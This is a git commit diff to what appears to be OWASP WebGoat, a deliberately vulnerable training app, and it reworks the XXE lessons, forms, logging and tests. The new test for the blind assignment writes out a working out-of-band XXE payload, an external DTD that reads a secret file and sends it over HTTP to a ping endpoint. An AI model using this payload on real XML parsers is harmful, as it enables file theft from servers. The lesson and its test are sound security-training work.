Updated XXE lessons with challenge screens

This commit is contained in:
Nanne Baars 2017-05-21 12:24:42 +02:00
parent cb9503d4a3
commit 877de6ebd4
12 changed files with 323 additions and 119 deletions

View File

@ -242,6 +242,12 @@
<version>${junit.version}</version> <version>${junit.version}</version>
<type>jar</type> <type>jar</type>
</dependency> </dependency>
<dependency>
<groupId>com.github.fakemongo</groupId>
<artifactId>fongo</artifactId>
<version>2.1.0</version>
<scope>test</scope>
</dependency>
<!-- ************* END: Dependencies for Unit and Integration Testing ************** --> <!-- ************* END: Dependencies for Unit and Integration Testing ************** -->
<!-- ************* END: <dependencies> ************** --> <!-- ************* END: <dependencies> ************** -->
</dependencies> </dependencies>

View File

@ -33,7 +33,6 @@ package org.owasp.webgoat.controller;
import org.owasp.webgoat.lessons.AbstractLesson; import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.session.Course; import org.owasp.webgoat.session.Course;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.springframework.security.core.GrantedAuthority;
import org.springframework.security.core.context.SecurityContext; import org.springframework.security.core.context.SecurityContext;
import org.springframework.security.core.context.SecurityContextHolder; import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.stereotype.Controller; import org.springframework.stereotype.Controller;
@ -77,8 +76,8 @@ public class StartLesson {
// I will set here the thymeleaf fragment location based on the resource requested. // I will set here the thymeleaf fragment location based on the resource requested.
ModelAndView model = new ModelAndView(); ModelAndView model = new ModelAndView();
SecurityContext context = SecurityContextHolder.getContext(); //TODO this should work with the security roles of Spring SecurityContext context = SecurityContextHolder.getContext(); //TODO this should work with the security roles of Spring
GrantedAuthority authority = context.getAuthentication().getAuthorities().iterator().next(); //GrantedAuthority authority = context.getAuthentication().getAuthorities().iterator().next();
String path = request.getServletPath(); // we now got /a/b/c/AccessControlMatrix.lesson String path = request.getRequestURL().toString(); // we now got /a/b/c/AccessControlMatrix.lesson
String lessonName = path.substring(path.lastIndexOf('/') + 1, path.indexOf(".lesson")); String lessonName = path.substring(path.lastIndexOf('/') + 1, path.indexOf(".lesson"));
List<AbstractLesson> lessons = course.getLessons(); List<AbstractLesson> lessons = course.getLessons();
Optional<AbstractLesson> lesson = lessons.stream() Optional<AbstractLesson> lesson = lessons.stream()

View File

@ -1,6 +1,6 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import lombok.Getter; import com.google.common.collect.Lists;
import lombok.Setter; import lombok.Setter;
import org.owasp.webgoat.session.Screen; import org.owasp.webgoat.session.Screen;
@ -44,10 +44,16 @@ public abstract class AbstractLesson extends Screen implements Comparable<Object
private Integer ranking; private Integer ranking;
@Getter
@Setter @Setter
private List<Assignment> assignments; private List<Assignment> assignments;
public List<Assignment> getAssignments() {
if (assignments == null) {
return Lists.newArrayList();
}
return assignments;
}
/** /**
* Constructor for the Lesson object * Constructor for the Lesson object
*/ */

View File

@ -29,6 +29,7 @@ webgoat.database.driver=org.hsqldb.jdbcDriver
webgoat.database.connection.string=jdbc:hsqldb:mem:{USER} webgoat.database.connection.string=jdbc:hsqldb:mem:{USER}
webgoat.default.language=en webgoat.default.language=en
spring.data.mongodb.database=webgoat spring.data.mongodb.database=webgoat
spring.mongodb.embedded.storage.databaseDir=${webgoat.user.directory}/mongodb/ spring.mongodb.embedded.storage.databaseDir=${webgoat.user.directory}/mongodb/

View File

@ -0,0 +1,42 @@
package org.owasp.webgoat.plugins;
import org.junit.Before;
import org.owasp.webgoat.i18n.Language;
import org.owasp.webgoat.i18n.Messages;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.context.embedded.LocalServerPort;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.mock.mockito.MockBean;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.web.context.WebApplicationContext;
import java.util.Locale;
import static org.mockito.Mockito.when;
/**
* @author nbaars
* @since 5/20/17.
*/
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
public abstract class LessonTest {
@LocalServerPort
protected int localPort;
protected MockMvc mockMvc;
@Autowired
protected WebApplicationContext wac;
@Autowired
protected Messages messages;
@MockBean
protected WebSession webSession;
@MockBean
private Language language;
@Before
public void init() {
when(language.getLocale()).thenReturn(Locale.US);
}
}

View File

@ -0,0 +1,23 @@
package org.owasp.webgoat.plugins;
import com.github.fakemongo.Fongo;
import com.mongodb.MongoClient;
import org.springframework.context.annotation.Configuration;
import org.springframework.data.mongodb.config.AbstractMongoConfiguration;
/**
* Using Fongo for embedded in memory MongoDB testing
*/
@Configuration
public class TestConfig extends AbstractMongoConfiguration {
@Override
protected String getDatabaseName() {
return "test";
}
@Override
public MongoClient mongo() throws Exception {
return new Fongo(getDatabaseName()).getMongo();
}
}

View File

@ -33,11 +33,19 @@
<version>${project.version}</version> <version>${project.version}</version>
<scope>provided</scope> <scope>provided</scope>
<type>jar</type> <type>jar</type>
<!-- Exclude Mongo embedded so testcases do not start it automatically, seems to be
the easiest way to stop the autoconfiguration of Spring Boot -->
<exclusions>
<exclusion>
<groupId>de.flapdoodle.embed</groupId>
<artifactId>de.flapdoodle.embed.mongo</artifactId>
</exclusion>
</exclusions>
</dependency> </dependency>
<!--<dependency>--> <!--<dependency>-->
<!--<groupId>org.apache.commons</groupId>--> <!--<groupId>org.apache.commons</groupId>-->
<!--<artifactId>commons-exec</artifactId>--> <!--<artifactId>commons-exec</artifactId>-->
<!--<version>1.3</version>--> <!--<version>1.3</version>-->
<!--</dependency>--> <!--</dependency>-->
<dependency> <dependency>
<groupId>org.owasp.webgoat</groupId> <groupId>org.owasp.webgoat</groupId>
@ -45,6 +53,14 @@
<version>${project.version}</version> <version>${project.version}</version>
<classifier>tests</classifier> <classifier>tests</classifier>
<scope>test</scope> <scope>test</scope>
<!-- Exclude Mongo embedded so testcases do not start it automatically, seems to be
the easiest way to stop the autoconfiguration of Spring Boot -->
<exclusions>
<exclusion>
<groupId>de.flapdoodle.embed</groupId>
<artifactId>de.flapdoodle.embed.mongo</artifactId>
</exclusion>
</exclusions>
</dependency> </dependency>
<dependency> <dependency>
<groupId>junit</groupId> <groupId>junit</groupId>
@ -70,6 +86,12 @@
<version>4.1.3.RELEASE</version> <version>4.1.3.RELEASE</version>
<scope>test</scope> <scope>test</scope>
</dependency> </dependency>
<dependency>
<groupId>com.github.fakemongo</groupId>
<artifactId>fongo</artifactId>
<version>2.1.0</version>
<scope>test</scope>
</dependency>
<dependency> <dependency>
<groupId>org.owasp.encoder</groupId> <groupId>org.owasp.encoder</groupId>
<artifactId>encoder</artifactId> <artifactId>encoder</artifactId>
@ -119,6 +141,6 @@
</execution> </execution>
</executions> </executions>
</plugin> </plugin>
</plugins> </plugins>
</build> </build>
</project> </project>

View File

@ -1,8 +1,9 @@
package org.owasp.webgoat.plugin; package org.owasp.webgoat.plugin;
import com.beust.jcommander.internal.Lists;
import com.google.common.base.Joiner; import com.google.common.base.Joiner;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import org.apache.commons.lang.exception.ExceptionUtils; import org.apache.commons.lang3.StringEscapeUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult; import org.owasp.webgoat.assignments.AttackResult;
@ -59,9 +60,9 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
@Value("${webgoat.user.directory}") @Value("${webgoat.user.directory}")
private String webGoatHomeDirectory; private String webGoatHomeDirectory;
@Autowired @Autowired
private WebSession webSession;
@Autowired
private Comments comments; private Comments comments;
@Autowired
private WebSession webSession;
@PostConstruct @PostConstruct
@SneakyThrows @SneakyThrows
@ -76,20 +77,20 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
@RequestMapping(method = RequestMethod.POST, consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE) @RequestMapping(method = RequestMethod.POST, consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody @ResponseBody
public AttackResult createNewUser(@RequestBody String commentStr) throws Exception { public AttackResult addComment(@RequestBody String commentStr) throws Exception {
String error = "Parsing successful contents not send to server"; String error = "Parsing successful contents not send to attacker";
try { try {
Comment comment = comments.parseXml(commentStr); Comment comment = comments.parseXml(commentStr);
comments.addComment(comment, false); comments.addComment(comment, false);
} catch (Exception e) { } catch (Exception e) {
error = ExceptionUtils.getFullStackTrace(e); error = StringEscapeUtils.escapeJson(e.toString());
} }
File logFile = new File(webGoatHomeDirectory, "/XXE/log.txt"); File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
List<String> lines = Files.readAllLines(Paths.get(logFile.toURI())); List<String> lines = logFile.exists() ? Files.readAllLines(Paths.get(logFile.toURI())) : Lists.newArrayList();
boolean solved = lines.stream().filter(l -> l.contains("WebGoat 8 rocks...")).findFirst().isPresent(); boolean solved = lines.stream().filter(l -> l.contains("WebGoat 8 rocks...")).findFirst().isPresent();
logFile.delete();
if (solved) { if (solved) {
logFile.delete();
return trackProgress(success().output("xxe.blind.output").outputArgs(Joiner.on('\n').join(lines)).build()); return trackProgress(success().output("xxe.blind.output").outputArgs(Joiner.on('\n').join(lines)).build());
} else { } else {
return trackProgress(failed().output(error).build()); return trackProgress(failed().output(error).build());

View File

@ -2,12 +2,10 @@ package org.owasp.webgoat.plugin;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.assignments.Endpoint; import org.owasp.webgoat.assignments.Endpoint;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value; import org.springframework.beans.factory.annotation.Value;
import org.springframework.web.bind.annotation.RequestHeader; import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import java.io.File; import java.io.File;
import java.io.FileNotFoundException; import java.io.FileNotFoundException;
@ -47,6 +45,8 @@ public class Ping extends Endpoint {
@Value("${webgoat.user.directory}") @Value("${webgoat.user.directory}")
private String webGoatHomeDirectory; private String webGoatHomeDirectory;
@Autowired
private WebSession webSession;
@Override @Override
public String getPath() { public String getPath() {
@ -58,7 +58,7 @@ public class Ping extends Endpoint {
public String logRequest(@RequestHeader("User-Agent") String userAgent, @RequestParam(required = false) String text) { public String logRequest(@RequestHeader("User-Agent") String userAgent, @RequestParam(required = false) String text) {
String logLine = String.format("%s %s %s", "GET", userAgent, text); String logLine = String.format("%s %s %s", "GET", userAgent, text);
log.debug(logLine); log.debug(logLine);
File logFile = new File(webGoatHomeDirectory, "/XXE/log.tdxt"); File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
try { try {
try (PrintWriter pw = new PrintWriter(logFile)) { try (PrintWriter pw = new PrintWriter(logFile)) {
pw.println(logLine); pw.println(logLine);

View File

@ -2,7 +2,6 @@
<script th:src="@{/lesson_js/xxe.js}" language="JavaScript"></script> <script th:src="@{/lesson_js/xxe.js}" language="JavaScript"></script>
<div class="lesson-page-wrapper"> <div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson --> <!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files, <!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
@ -23,43 +22,49 @@
<div class="attack-container"> <div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div> <div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<div class="container-fluid"> <form class="attack-form" accept-charset="UNKNOWN"
<div class="panel post"> method="POST" name="form"
<div class="post-heading"> action="/WebGoat/xxe/simple"
<div class="pull-left image"> enctype="application/json;charset=UTF-8">
<img th:src="@{/images/avatar1.png}" <div class="container-fluid">
class="img-circle avatar" alt="user profile image"/> <div class="panel post">
</div> <div class="post-heading">
<div class="pull-left meta"> <div class="pull-left image">
<div class="title h5"> <img th:src="@{/images/avatar1.png}"
<a href="#"><b>John Doe</b></a> class="img-circle avatar" alt="user profile image"/>
uploaded a photo. </div>
<div class="pull-left meta">
<div class="title h5">
<a href="#"><b>John Doe</b></a>
uploaded a photo.
</div>
<h6 class="text-muted time">24 days ago</h6>
</div> </div>
<h6 class="text-muted time">24 days ago</h6>
</div> </div>
</div>
<div class="post-image"> <div class="post-image">
<img th:src="@{images/cat.jpg}" class="image" alt="image post"/> <img th:src="@{images/cat.jpg}" class="image" alt="image post"/>
</div> </div>
<div class="post-description"> <div class="post-description">
</div> </div>
<div class="post-footer"> <div class="post-footer">
<div class="input-group"> <div class="input-group">
<input class="form-control" id="commentInputSimple" placeholder="Add a comment" type="text"/> <input class="form-control" id="commentInputSimple" placeholder="Add a comment"
<span class="input-group-addon"> type="text"/>
<span class="input-group-addon">
<i id="postCommentSimple" class="fa fa-edit" style="font-size: 20px"></i> <i id="postCommentSimple" class="fa fa-edit" style="font-size: 20px"></i>
</span> </span>
</div>
<ul class="comments-list">
<div id="commentsListSimple">
</div> </div>
</ul> <ul class="comments-list">
<div id="commentsListSimple">
</div>
</ul>
</div>
</div> </div>
</div> </div>
</div> </form>
<br/> <br/>
<div class="attack-feedback"></div> <div class="attack-feedback"></div>
@ -71,43 +76,49 @@
<div class="adoc-content" th:replace="doc:XXE_changing_content_type.adoc"></div> <div class="adoc-content" th:replace="doc:XXE_changing_content_type.adoc"></div>
<div class="attack-container"> <div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div> <div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<div class="container-fluid"> <form class="attack-form" accept-charset="UNKNOWN"
<div class="panel post"> method="POST" name="form"
<div class="post-heading"> action="/WebGoat/xxe/content-type"
<div class="pull-left image"> enctype="application/json;charset=UTF-8">
<img th:src="@{/images/avatar1.png}" <div class="container-fluid">
class="img-circle avatar" alt="user profile image"/> <div class="panel post">
</div> <div class="post-heading">
<div class="pull-left meta"> <div class="pull-left image">
<div class="title h5"> <img th:src="@{/images/avatar1.png}"
<a href="#"><b>John Doe</b></a> class="img-circle avatar" alt="user profile image"/>
uploaded a photo. </div>
<div class="pull-left meta">
<div class="title h5">
<a href="#"><b>John Doe</b></a>
uploaded a photo.
</div>
<h6 class="text-muted time">24 days ago</h6>
</div> </div>
<h6 class="text-muted time">24 days ago</h6>
</div> </div>
</div>
<div class="post-image"> <div class="post-image">
<img th:src="@{images/cat.jpg}" class="image" alt="image post"/> <img th:src="@{images/cat.jpg}" class="image" alt="image post"/>
</div> </div>
<div class="post-description"> <div class="post-description">
</div> </div>
<div class="post-footer"> <div class="post-footer">
<div class="input-group"> <div class="input-group">
<input class="form-control" id="commentInputContentType" placeholder="Add a comment" type="text"/> <input class="form-control" id="commentInputContentType" placeholder="Add a comment"
<span class="input-group-addon"> type="text"/>
<span class="input-group-addon">
<i id="postCommentContentType" class="fa fa-edit" style="font-size: 20px"></i> <i id="postCommentContentType" class="fa fa-edit" style="font-size: 20px"></i>
</span> </span>
</div>
<ul class="comments-list">
<div id="commentsListContentType">
</div> </div>
</ul> <ul class="comments-list">
<div id="commentsListContentType">
</div>
</ul>
</div>
</div> </div>
</div> </div>
</div> </form>
<br/> <br/>
<div class="attack-feedback"></div> <div class="attack-feedback"></div>
@ -128,43 +139,48 @@
<div class="adoc-content" th:replace="doc:XXE_blind_assignment.adoc"></div> <div class="adoc-content" th:replace="doc:XXE_blind_assignment.adoc"></div>
<div class="attack-container"> <div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div> <div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<div class="container-fluid"> <form class="attack-form" accept-charset="UNKNOWN"
<div class="panel post"> method="POST" name="form"
<div class="post-heading"> action="/WebGoat/xxe/blind"
<div class="pull-left image"> enctype="application/json;charset=UTF-8">
<img th:src="@{/images/avatar1.png}" <div class="container-fluid">
class="img-circle avatar" alt="user profile image"/> <div class="panel post">
</div> <div class="post-heading">
<div class="pull-left meta"> <div class="pull-left image">
<div class="title h5"> <img th:src="@{/images/avatar1.png}"
<a href="#"><b>John Doe</b></a> class="img-circle avatar" alt="user profile image"/>
uploaded a photo. </div>
<div class="pull-left meta">
<div class="title h5">
<a href="#"><b>John Doe</b></a>
uploaded a photo.
</div>
<h6 class="text-muted time">24 days ago</h6>
</div> </div>
<h6 class="text-muted time">24 days ago</h6>
</div> </div>
</div>
<div class="post-image"> <div class="post-image">
<img th:src="@{images/cat.jpg}" class="image" alt="image post"/> <img th:src="@{images/cat.jpg}" class="image" alt="image post"/>
</div> </div>
<div class="post-description"> <div class="post-description">
</div> </div>
<div class="post-footer"> <div class="post-footer">
<div class="input-group"> <div class="input-group">
<input class="form-control" id="commentInput" placeholder="Add a comment" type="text"/> <input class="form-control" id="commentInputBlind" placeholder="Add a comment" type="text"/>
<span class="input-group-addon"> <span class="input-group-addon">
<i id="postCommentBlind" class="fa fa-edit" style="font-size: 20px"></i> <i id="postCommentBlind" class="fa fa-edit" style="font-size: 20px"></i>
</span> </span>
</div>
<ul class="comments-list">
<div id="commentsListBlind">
</div> </div>
</ul> <ul class="comments-list">
<div id="commentsListBlind">
</div>
</ul>
</div>
</div> </div>
</div> </div>
</div> </form>
<br/> <br/>
<div class="attack-feedback"></div> <div class="attack-feedback"></div>

View File

@ -24,7 +24,7 @@ $(document).ready(function () {
$(document).ready(function () { $(document).ready(function () {
$("#postCommentBlind").unbind(); $("#postCommentBlind").unbind();
$("#postCommentBlind").on("click", function () { $("#postCommentBlind").on("click", function () {
var commentInput = $("#commentInput").val(); var commentInput = $("#commentInputBlind").val();
var xml = '<?xml version="1.0"?>' + var xml = '<?xml version="1.0"?>' +
'<comment>' + '<comment>' +
' <text>' + commentInput + '</text>' + ' <text>' + commentInput + '</text>' +
@ -34,13 +34,12 @@ $(document).ready(function () {
url: 'xxe/blind', url: 'xxe/blind',
data: xml, data: xml,
contentType: "application/xml", contentType: "application/xml",
dataType: 'xml' dataType: 'xml',
}).then( complete: function (data) {
function () { $("#commentInputBlind").val('');
getComments('#commentsListBlind'); getComments('#commentsListBlind')
$("#commentInput").val('');
} }
) })
}); });
getComments('#commentsListBlind'); getComments('#commentsListBlind');
}); });
@ -54,13 +53,12 @@ $(document).ready(function () {
url: 'xxe/content-type', url: 'xxe/content-type',
data: JSON.stringify({text: commentInput}), data: JSON.stringify({text: commentInput}),
contentType: "application/json", contentType: "application/json",
dataType: 'xml' dataType: 'xml',
}).then( complete: function (data) {
function () {
getComments('#commentsListContentType');
$("#commentInputContentType").val(''); $("#commentInputContentType").val('');
getComments('#commentsListContentType')
} }
) })
}); });
getComments('#commentsListContentType'); getComments('#commentsListContentType');
}); });

View File

@ -0,0 +1,90 @@
package org.owasp.webgoat.plugin;
import com.google.common.io.Files;
import org.hamcrest.CoreMatchers;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.owasp.webgoat.plugins.LessonTest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import java.io.File;
import static org.assertj.core.api.Assertions.assertThat;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
/**
* @author nbaars
* @since 5/4/17.
*/
@RunWith(SpringJUnit4ClassRunner.class)
public class BlindSendFileAssignmentTest extends LessonTest {
@Autowired
private Comments comments;
@Value("${webgoat.user.directory}")
private String webGoatHomeDirectory;
@Before
public void setup() throws Exception {
XXE xxe = new XXE();
when(webSession.getCurrentLesson()).thenReturn(xxe);
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
if (logFile.exists()) logFile.delete();
when(webSession.getUserName()).thenReturn("unit-test");
}
@Test
public void validCommentMustBeAdded() throws Exception {
int nrOfComments = comments.getComments().size();
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
.content("<comment><text>test</text></comment>"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
assertThat(comments.getComments().size()).isEqualTo(nrOfComments + 1);
}
@Test
public void wrongXmlShouldGiveErrorBack() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
.content("<comment><text>test</ext></comment>"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))))
.andExpect(jsonPath("$.output", CoreMatchers.is("javax.xml.bind.UnmarshalException\\n - with linked exception:\\n[javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,22]\\nMessage: The element type \\\"text\\\" must be terminated by the matching end-tag \\\"<\\/text>\\\".]")));
}
@Test
public void solve() throws Exception {
File file = new File(webGoatHomeDirectory, "XXE/attack.dtd");
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!ENTITY % file SYSTEM \"file:///home/nbaars/.webgoat/XXE/secret.txt\">\n" +
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:" + localPort + "/WebGoat/XXE/ping?text=%file;'>\">\n" +
"%all;";
Files.write(dtd.getBytes(), file);
String xml = "<?xml version=\"1.0\"?>\n" +
"<!DOCTYPE root [\n" +
"<!ENTITY % remote SYSTEM \"file://" + file.getAbsolutePath() + "\">\n" +
"%remote;\n" +
"]>\n" +
"<comment>\n" +
" <text>test&send;</text>\n" +
"</comment>";
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
.content(xml))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))))
.andExpect(jsonPath("$.output", CoreMatchers.is("Contents of the file is: GET Java/1.8.0_121 WebGoat 8 rocks...")));
}
}